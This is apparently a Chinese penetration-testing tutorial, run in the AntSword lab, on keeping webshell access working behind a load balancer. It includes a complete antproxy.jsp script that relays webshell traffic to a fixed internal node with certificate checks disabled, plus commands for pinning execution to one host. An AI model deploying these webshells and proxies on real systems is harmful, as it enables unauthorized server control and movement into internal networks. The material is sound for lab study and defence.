负载均衡下的webshell上传

负载均衡下的webshell上传

  • 1.应用场景
  • 2.面临的困难
    • 2.1 shell文件上传问题
    • 2.2 命令执行时的漂移
    • 2.3 大工具投放失败
    • 2.4 内网穿透工具失效
  • 3.一些解决方案
    • 3.1 关机
    • 3.2 基于IP判断执行主机
    • 3.3 脚本实现web层的流量转发
      • 3.3.1 创建antproxy.jsp脚本
      • 3.3.2 修改 Shell 配置
  • 4.总结

1.应用场景

负载均衡作为现今解决web应用承载大流量访问问题的一种方案,在真实环境中得到广泛的部署。实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。

比如基于dns的负载均衡:
负载均衡下的webshell上传_第1张图片
当然还有nginx的经典的基于反向代理实现的负载均衡。用户在通过单一IP地址访问服务器时,永远不会知道自己的处理服务器是那一台。对于这部分内容我在前面的《NGINX反向代理实现负载均衡》中有详细谈过它的分类以及配置方法。我们再来回顾以下nginx支持的负载均衡的方式:

轮询 默认方式
weight 权重方式
ip_hash 依据ip分配方式
least_conn 最少连接方式
fair(第三方) 响应时间方式
url_hash(第三方) 依据URL分配方式

可以看到,支持的负载均衡模式很多。无论时什么样的负载均衡模式都可以以这样的规则进行划分,即是否可以确定地访问某一台固定的服务器。

为什么这样说呢,因为在渗透测试的过程中,有一个比较固定的思维就是所有的攻击都围绕着拿到webshell获取服务器权限而进行。不管是漏洞利用也好,暴力破解也罢。都是为了拿到webshell,提权,渗透内网。整体的流程就是这样,但是一旦遇到负载均衡隐藏掉后端真实服务器IP后,就会出现一大堆的问题无法解决。本文就是要理清楚这样一种环境下上传webshell的思路。

2.面临的困难

总体来说面临着四个难点,webshell上传,命令执行,工具投放,内网渗透做隧道。下面我们用蚁剑作者提供的docker镜像来演示遇到的问题。

https://github.com/AntSwordProject/AntSword-Labs

负载均衡下的webshell上传_第2张图片
下载后上传至服务器进行解压,到指定目录下,启动环境:

[root@blackstone loadbalance-jsp]# pwd
/home/batman/AntSword-Labs-master/loadbalance/loadbalance-jsp
[root@blackstone loadbalance-jsp]# docker-compose up -d

我们查看它的compose文件可以看到:
负载均衡下的webshell上传_第3张图片
nginx的80端口被映射到主机的18080端口之上,访问http://192.168.2.169:18080
就可以访问到我们的web服务了。Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。

负载均衡下的webshell上传_第4张图片

此时打开蚂蚁剑我们尝试连接先前在node12上均插入了的webshell

负载均衡下的webshell上传_第5张图片
负载均衡下的webshell上传_第6张图片
完了点击添加,就正式连接到我们的webshell了。

2.1 shell文件上传问题

尝试多次刷新,十分流畅:

负载均衡下的webshell上传_第7张图片

我们进入一个节点服务器,尝试让webshell失效:

[root@blackstone loadbalance-jsp]# docker ps -a
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                   NAMES
c549f819e15e        nginx:1.17                 "nginx -g 'daemon of…"   36 minutes ago      Up 36 minutes       0.0.0.0:18080->80/tcp   loadbalance-jsp_nginx_1
bab0805650c1        loadbalance-jsp_lbsnode2   "catalina.sh run"        36 minutes ago      Up 36 minutes       8080/tcp                loadbalance-jsp_lbsnode2_1
59bf661c6b83        loadbalance-jsp_lbsnode1   "catalina.sh run"        36 minutes ago      Up 36 minutes       8080/tcp                loadbalance-jsp_lbsnode1_1
[root@blackstone loadbalance-jsp]# docker exec -it bab0805650c1  /bin/bash

root@bab0805650c1:/usr/local/tomcat# find / -name ant.jsp
find: ‘/proc/1/map_files’: Operation not permitted
find: ‘/proc/37/map_files’: Operation not permitted
find: ‘/proc/41/map_files’: Operation not permitted
/usr/local/tomcat/webapps/ROOT/ant.jsp
root@bab0805650c1:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT/
root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant

再次尝试刷新:
负载均衡下的webshell上传_第8张图片
看见了没,闪红了!其实是因为再次刷新的时候请求被解析到了这台修改过的节点服务器上,因为上面并没有们上传上去的文件。故访问不到,出现了404。故如何让我们的webshell均匀的出现在节服务器上,是第一个问题。

2.2 命令执行时的漂移

对,你没听错,在这样的环境下我们发出去的webshell执行命令时,会发生严重的漂移现象。你永远不知道命令在哪台服务器上执行。

假设我们解决了第一个难点,webshell均匀的出现在了后端节点服务器上。

我们将先前失效的webshell复活:

root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant ant.jsp

到命令执行界面尝试执行命令:

负载均衡下的webshell上传_第9张图片
执行查看IP地址的命令:
负载均衡下的webshell上传_第10张图片

看到了没,这还是轮询状态下的IP变化,一旦是权重模式,再加上多台节点服务器。这个地址将变得无迹可寻。

2.3 大工具投放失败

当我们解决了上面两个难点,想要进一步渗透时,此时投放一些工具是很必要的工作。但是碍于 antSword 上传文件时,采用的分片上传方式。把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法。也就是说,我们的工具一旦大于这个最小分片大小。就会被拆分成碎片传递给节点服务器。

2.4 内网穿透工具失效

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

负载均衡下的webshell上传_第11张图片

这里来一张regerg程序运行的大致原理图,因为我们的节点服务器会不断变化,这就导致攻击者和部署了regeorg的主机之间无法保持完整的连接很长时间。即使每个节点主机上同时搭载这样的软件。与攻击者的连接仍然混乱不堪。无法稳定的代理内网的流量到攻击者手上。所以这样的环境下,要进行内网工具的部署,同样是一个极大的难点。

负载均衡下的webshell上传_第12张图片

3.一些解决方案

要解决第一个难点其实比较简单,就一个词重复,疯狂上传多次,webshell肯定可以上传到所有的节点服务器上去。接下来我们得想办法解决剩下的难点。

3.1 关机

这个方案虽然看着是个方法,但是实际环境中先不说权限够不够。就是够,这样的操作也是十分危险的。虽然关闭节点服务器后,节点服务器会被踢出nginx代理池内部。最终可以做到每次请求都落到同一台服务器上。但是暴露风险大,还要承担相应的法律责任。故不建议使用这种方法。

3.2 基于IP判断执行主机

要是在每一次执行命令前,可以判断以下主机的IP地址,那不就可以解决命令漂移问题了嘛。

这里需要用到一个shell:

#执行命令前进行ip判断,注意执行的命令写到then后else前即可。
if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi

比如像这样:

root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
node1 i will execute command.\n=========\n
172.19.0.2
root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.3" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
other.tryagain

这样一来,确实是能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,不够丝滑。甚至其在蚁剑的中断内运行会出问题。在真机上测试正常。

这样的方案确实很麻烦,并且并不能解决我们内网穿透的需求,所以不推荐使用。

3.3 脚本实现web层的流量转发

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。也就是说,我们写入一个脚本判断流量的目的地址,不是node1的话将流量中转给node1的ant.jsp即可。如此一来就可以建立攻击者和node1的稳定连接了。

图片

这是原作者的一张图,我们分析以下请求。

1.连接请求到达nginx进行负载均衡的转发,交由后端节点服务器处理
2.请求到达了节点1,访问到antproxy.jsp文件,将流量转发给172.23.0.2节点上的ant.jsp
3.请求到达节点2。访问节点2的antproxy.jsp文件,同样将流量转发给172.23.0.2节点上的ant.jsp文件。建立通信。

如此一来,就可以保证我们始终可以连接到节点1的ant.jsp文件,建立稳定通信了。说干就干。

这是转发脚本:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%		//注意这里的地址一定修改正确,不同的环境内部使用的地址不一定一样
        String target = "http://172.19.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

3.3.1 创建antproxy.jsp脚本

修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。
负载均衡下的webshell上传_第13张图片
负载均衡下的webshell上传_第14张图片
注意:
(1)不要使用上传功能,会被分片无法传输
(2)一i的那个要多次保存,保证所有的节点都部署上了我们的转发脚本

负载均衡下的webshell上传_第15张图片

3.3.2 修改 Shell 配置

将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

http://192.168.2.169:18080/antproxy.jsp

负载均衡下的webshell上传_第16张图片

查看IP地址是否会继续漂移:

负载均衡下的webshell上传_第17张图片
显然,此时我们的IP地址已经停止漂移了,也就是说,我们可以稳定的连接到节点服务器1上了。

4.总结

对于这一问题的思考也是有迹可循的。首先作为负载均衡相较于普通的服务结构其特点就是隐藏了真实服务的节点服务器。

之前我们上传webshell可以拆分为,上传木马文件,执行命令获取相关漏洞信息,工具投放以提升权限获取密码,部署穿透工具尝试攻击内网。

那么照着这个思路进行分析就行,上传木马文件那必须要雨露均沾,既然一次上传会出现漂移,那就多传几次。第二个问题,命令漂移,这个可以通过判断IP的方式勉强解决,其实还有更好的解决方案。第三和第四个问题,就必须借助流量转发脚本实现节点服务器的IP地址固定。如此一来就可以彻底消除负载均衡的影响,一切如同正常的webshell上传环境。

那么,解决方案三其实有一个很致命的问题,一旦内网节点服务器之间不互通,彻底失效。也就是说,我们从安全角度出发,实现了负载均衡之后,无特殊要求的话应尽量在节点服务器之间实现网络层的通信阻断。这样才能万无一失。

你可能感兴趣的:(web安全,负载均衡,服务器,运维)